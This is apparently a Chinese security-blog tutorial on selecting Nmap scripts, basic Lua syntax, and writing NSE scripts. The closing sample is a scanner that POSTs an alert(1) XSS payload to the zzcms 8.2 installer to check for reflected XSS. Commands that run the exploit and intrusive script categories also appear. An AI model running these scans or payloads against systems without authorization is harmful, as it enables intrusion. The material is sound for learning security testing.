root@kali:~# nmap -sV -sC scanme.nmap.org

直接加脚本名称
nmap --script http-title <target>

nmap -p80 --script http-huawei-hg5xx-vuln <target>

nmap --script http-title，http-methods <target>

要选择整个类别，只需使用类别的名称（请参阅脚本作为参数。 例如，要运行漏洞类别，
使用以下命令：
nmap --script exploit <target>

您也可以用逗号分隔它们来运行多个类别：

nmap --script discovery,intrusive <target>

-sC选项仅仅是--script默认选项的别名。

按文件名或文件夹选择

要执行NSE脚本文件，请使用以下命令：

nmap --script /path/to/script.nse <target>

与类别类似，可以通过分离路径来执行多个脚本

用逗号分隔：

nmap --script /path/to/script.nse,/another/path/script2.nse <target>

要执行文件夹中包含的所有脚本，只需要传递文件夹名称

举个栗子：

nmap --script/path/to/folder/ <target>

nmap --script /custom-nse-scripts/ scanme.nmap.org

表达式用于描述一组脚本。
我们可以利用脚本选择表达式的场景：
•举个栗子:（未利用表达式将匹配任何脚本）

使用不属于exploit类别的脚本：
#nmap -sV --script "not exploit" <target>

•或和运算符允许我们构造更复杂的表达式。
以下表达式将匹配不在intrusive,或者dos,或者exploit类别中的任何脚本。

#nmap --script "not（intrusive or dos or exploit）" -sV <target>

•如果我们想要执行broadcast和discovery中的所有类别脚本。

我们使用：

#nmap --script "broadcast and discovery" < target>

•甚至可以使用通配符*：

#nmap --script "snmp- *" <target>

•当然，我们可以结合使用通配符和表达式。例如:

让我们运行名称以http-开头的所有脚本，但排除

http-slowloris，http-brute，http-form-fuzzer和http-enum脚本：

#nmap --script "http-* and not(http-slowloris or http-brute or
http-enum or http-form-fuzzer)" <target>

下一个命令将执行以http开头的但不在exploit类别中的所有脚本：
#nmap --script“http- * not（exploit）”<target>

$ nmap --script http-majordomo2-dir-traversal，http-axis2-dir-traversal

--script-args http-axis2-dir-traversal.uri = /axis2/，uri =/majordomo/ <target>

$ nmap --script http-majordomo2-dir-traversal，http-axis2-dir-traversal

--script-args uri = /axis2/，http-majordomo2-dir-traversal.uri = /majordomo/ <target>

-- 单行注释
--[[
 多行注释
 多行注释
 --]]

标示符
Lua 标示符用于定义一个变量，函数获取其他用户定义的项。标示符以一个字母 A 到 Z 或 a 到 z 或下划线 _ 开头后加上0个或多个字母，下划线，数字（0到9）。
最好不要使用下划线加大写字母的标示符，因为Lua的保留字也是这样的。
Lua 不允许使用特殊字符如 @, $, 和 % 来定义标示符。 Lua 是一个区分大小写的编程语言。因此在 Lua 中 Runoob 与 runoob 是两个不同的标示符。以下列出了一些正确的标示符：
mohd         zara      abc     move_name    a_123
myname50     _temp     j       a23b9        retVal

关键词
以下列出了 Lua 的保留关键字。保留关键字不能作为常量或变量或其他用户自定义标示符：
and break   do  else
elseif  end false   for
function    if  in  local
nil not or  repeat
return  then    true    until
while           
一般约定，以下划线开头连接一串大写字母的名字（比如 _VERSION）被保留用于 Lua 内部全局变量

Lua 数据类型
Lua是动态类型语言，变量不要类型定义,只需要为变量赋值。 值可以存储在变量中，作为参数传递或结果返回。
Lua中有8个基本类型分别为：nil、boolean、number、string、userdata、function、thread和table。
数据类型    描述
nil 这个最简单，只有值nil属于该类，表示一个无效值（在条件表达式中相当于false）。
boolean 包含两个值：false和true。
number  表示双精度类型的实浮点数
string  字符串由一对双引号或单引号来表示
function    由 C 或 Lua 编写的函数
userdata    表示任意存储在变量中的C数据结构
thread  表示执行的独立线路，用于执行协同程序
table   Lua 中的表（table）其实是一个"关联数组"（associative arrays），数组的索引可以是数字或者是字符串。在 Lua 里，table 的创建是通过"构造表达式"来完成，最简单构造表达式是{}，用来创建一个空表。

nil（空）
nil 类型表示一种没有任何有效值，它只有一个值 -- nil，例如打印一个没有赋值的变量，便会输出一个 nil 值：

Lua 变量
变量在使用前，必须在代码中进行声明，即创建该变量。
编译程序执行代码之前编译器需要知道如何给语句变量开辟存储区，用于存储变量的值。
Lua 变量有三种类型：全局变量、局部变量、表中的域。
Lua 中的变量全是全局变量，那怕是语句块或是函数里，除非用 local 显式声明为局部变量。
局部变量的作用域为从声明位置开始到所在语句块结束。
变量的默认值均为 nil。
-- test.lua 文件脚本
a = 5               -- 全局变量
local b = 5         -- 局部变量

function joke()
    c = 5           -- 全局变量
    local d = 6     -- 局部变量
end

joke()
print(c,d)          --> 5 nil

do 
    local a = 6     -- 局部变量
    b = 6           -- 全局变量
    print(a,b);     --> 6 6
end

print(a,b)      --> 5 6
执行以上实例输出结果为：
$ lua test.lua 
5    nil
6    6
5    6

-- prerule.nse
description = [[Prerule test ]]
---
-- @usage
-- nmap --script prerule <target>
-- @output
--
-- Version 0.1
-- Created 21/3/2018 - v0.1 - created by yumu <http://www.sec-redclub.com/>
---

author = "HongRi yumu"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"default","safe"}

prerule = function(host,port)
   return true
end

action = function(host, port)
  return "RongRi AnQuan NSE script Prerule test"
end

-- preruleDebug.nse
description = [[prerule test]]
---
--@usage
-- nmap --script preruleDebug -p 80 <target>
-- @output
-- Pre-scan script results:
-- |_prerule: HongRi AnQuan test prerule
-- Version 0.1
-- Created 21/3/2018 - v0.1 - created by yumu <http://www.sec-redclub.com/>
---

author = "HongRi yumu"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"default","safe"}

prerule = function(host,port)
   return true
end 


action = function(host, port)
    return host.os
end

-- hostrule.nse
description = [[hostrule test]]
---
--@usage
-- nmap -O --script hostrule  <target>
-- @output
-- Host script results:
-- |     hostrule:
-- |
-- |     name: Microsoft Windows 7 or 8.1 R1
-- |     classes:
-- |
-- |         cpe:
-- |           cpe:/o:microsoft:windows_7
-- |         osgen: 7
-- |         vendor: Microsoft
-- |         osfamily: Windows
-- |         type: general purpose
-- |
-- |         cpe:
-- |           cpe:/o:microsoft:windows_8.1:r1
-- |         osgen: 8.1
-- |         vendor: Microsoft
-- |         osfamily: Windows
-- |_        type: general purpose
-- Version 0.1
-- Created 21/3/2018 - v0.1 - created by yumu <http://www.sec-redclub.com/>
---

author = "HongRi yumu"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"default","safe"}
hostrule = function(host,port)
   return true
end 

action = function(host, port)
    return host.os
end

-- portrule.nse
local stdnse = require "stdnse"
local table = require "table"
-- stdnse 标准输出库
-- table table库
description = [[portrule test]]
---
-- @usage
-- nmap -p 80,443,3306 --script portrule -p 80 <target>
-- @output
-- 80/tcp   open   http
-- | portrule:
-- |   127.0.0.1
-- |_  From: Hongri Anquan yumu
-- Version 0.1
-- Created 21/3/2018 - v0.1 - created by yumu <http://www.sec-redclub.com/>
---

author = "HongRi yumu"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"default","safe"}
portrule = function(host,port)
   return port.protocol == "tcp" and port.state == "open"
end
--
-- 判断目标端口运行的协议是否为tcp协议并且端口是否开放状态
-- 当返回true时，执行action函数，反之不执行
--

function action(host,port)
    local table_input = {}
    local user = "Hongri Anquan yumu"
    table.insert(table_input,host.ip)
    table.insert(table_input,string.format("From: %s", user))
    return stdnse.format_output(true, table_input)
    -- 输出“Hongri Anquan yumu”和host.ip信息
    -- stdnse.format_output: Formatted output looks better
end

-- 1.方法解释
-- string.match(str, pattern, init)
-- string.match()只寻找源字串str中的第一个配对. 参数init可选, 指定搜寻过程的起点, 默认为1。 
-- 在成功配对时, 函数将返回配对表达式中的所有捕获结果; 如果没有设置捕获标记, 则返回整个配对字符串. 当没有---- 成功的配对时, 返回nil。
-- 2.乱码问题解决方法
-- 打印的response.body（响应体）在cmder可能会显示乱码。解决方法如下：
-- cmd命令行窗口字符编码切换为UTF-8，命令行中执行：chcp 65001

-- portrulenumber.nse
local stdnse = require "stdnse"
local table = require "table"
local shortport = require "shortport"
local http = require "http"
local string = require "string"

description = [[Get the phone number of the customer service]]
---
--@usage
-- nmap --script portrulenumber -p 80 <target>
-- @output                                                  
-- PORT   STATE SERVICE                              
-- 80/tcp open  http                                 
-- |_portrulenumber: consumer hotline:0371-86137281  
-- Version 0.1
-- Created 21/3/2018 - v0.1 - created by yumu <http://www.sec-redclub.com/>
---

author = "HongRi yumu"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"default","safe"}

portrule = shortport.http

function action(host,port)
    local telephone_number,baseurl
    baseurl = "/"
    response = http.get(host,port,baseurl)
    telephone_number = string.match(response.body,"%d+-%d+")
    if  telephone_number ~= nil
    then
        return "consumer hotline:"..telephone_number
    else
        return "Hongri Auquan"
    end 

end

-- postrule.nse
description = [[postrule test]]
---
--@usage
-- nmap --script postrule ![postrule](https://xzfile.aliyuncs.com/media/upload/picture/20180417083954-d875ff72-41d7-1.jpg)![postrule](https://xzfile.aliyuncs.com/media/upload/picture/20180417083954-d875ff72-41d7-1.jpg)<target>
-- @output
-- Pre-scan script results:
-- |_prerule: HongRi AnQuan test prerule
--
-- Version 0.1
-- Created 21/3/2018 - v0.1 - created by yumu <http://www.sec-redclub.com/>
--
---

author = "HongRi yumu"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"default","safe"}

postrule = function(host,port)
   return true
end 


action = function(host, port)
    return "Hongri Anquan test postrule"
end

local http = require "http"
local shortport = require "shortport"
local string = require "string"
local stdnse = require "stdnse"
local table = require "table"

description = [[Detecting the presence of reflective xss in zzcms8.2]]
---
-- @usage
-- nmap --script zzcmsxss -p 80 <target>
-- nmap --script zzcmsxss -p 80 --script-args zzcmsxss.url-path='/website' <target>
-- @output
-- PORT   STATE SERVICE
-- 80/tcp open  http
-- | zzcmsxss:
-- |_  Final Results: Reflective xss exists
--
-- @xmloutput
-- <ports>
-- <port protocol="tcp" portid="80"><state state="open" reason="syn-ack" reason_ttl="128"/>
-- <service name="http" method="table" conf="3"/>
-- <script id="zzcmsxss" output="&#xa;  Final Results: Reflective xss exists&#xa;"/>
-- </port>
-- </ports>
--
-- Version 0.1
-- Created 21/3/2018 - v0.1 - created by yumu <http://www.sec-redclub.com/>
---

author = "HongRi yumu"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"default","safe","discovery","version"}

portrule = function(host,port)
   return port.protocol == "tcp" and port.state == "open"
end

local FLAG = "alert"
action = function(host, port)

   print("port.numner is : ",port.number)
   print("port status is : ",port.state)

   local table_input = {}
   local xss_exit = "Reflective xss exists"
   local xss_not_exit = "Reflective xss does not exist"
   local basepath = stdnse.get_script_args(SCRIPT_NAME .. ".url-path") or '/install/index.php'

   local options={headers = {
   ["Accept"]="text/html,application/xhtml+xm…plication/xml;q=0.9,*/*;q=0.8",
   ["Accept-Language"]="zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
   ["Accept-Encoding"]="gzip, deflate",
   ["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; W…) Gecko/20100101 Firefox/58.0",
   ["Host"] = host.name,
   ["Referer"]="http://".. host.name .."/install/index.php",
   ["Content-Type"]="application/x-www-form-urlencoded",
   ["Connection"]="Keep-alive",
   ["Content-length"]=76,
   ["Upgrade-Insecure-Requests"]=1,
   } }

   local postdata = {
    ["admin"]="admin",
    ["adminpwdtrue"]="admin<script>alert(1)</script>",
    ["step"]=6
   }

   local response= http.post(host,port,basepath,options,nil,postdata)  -- 发送post请求 
   if response.status and response.body 
   then

    if response.status == 200 and string.find(response.body,FLAG) ~= nil  -- 如果写入alert字段，说明漏洞存在
    then
      table.insert(table_input,string.format("Final Results: %s",xss_exit))
        return stdnse.format_output(true, table_input)
    else
      table.insert(table_input,string.format("Final Results: %s",xss_not_exit))
        return stdnse.format_output(true, table_input)
    end
   end
end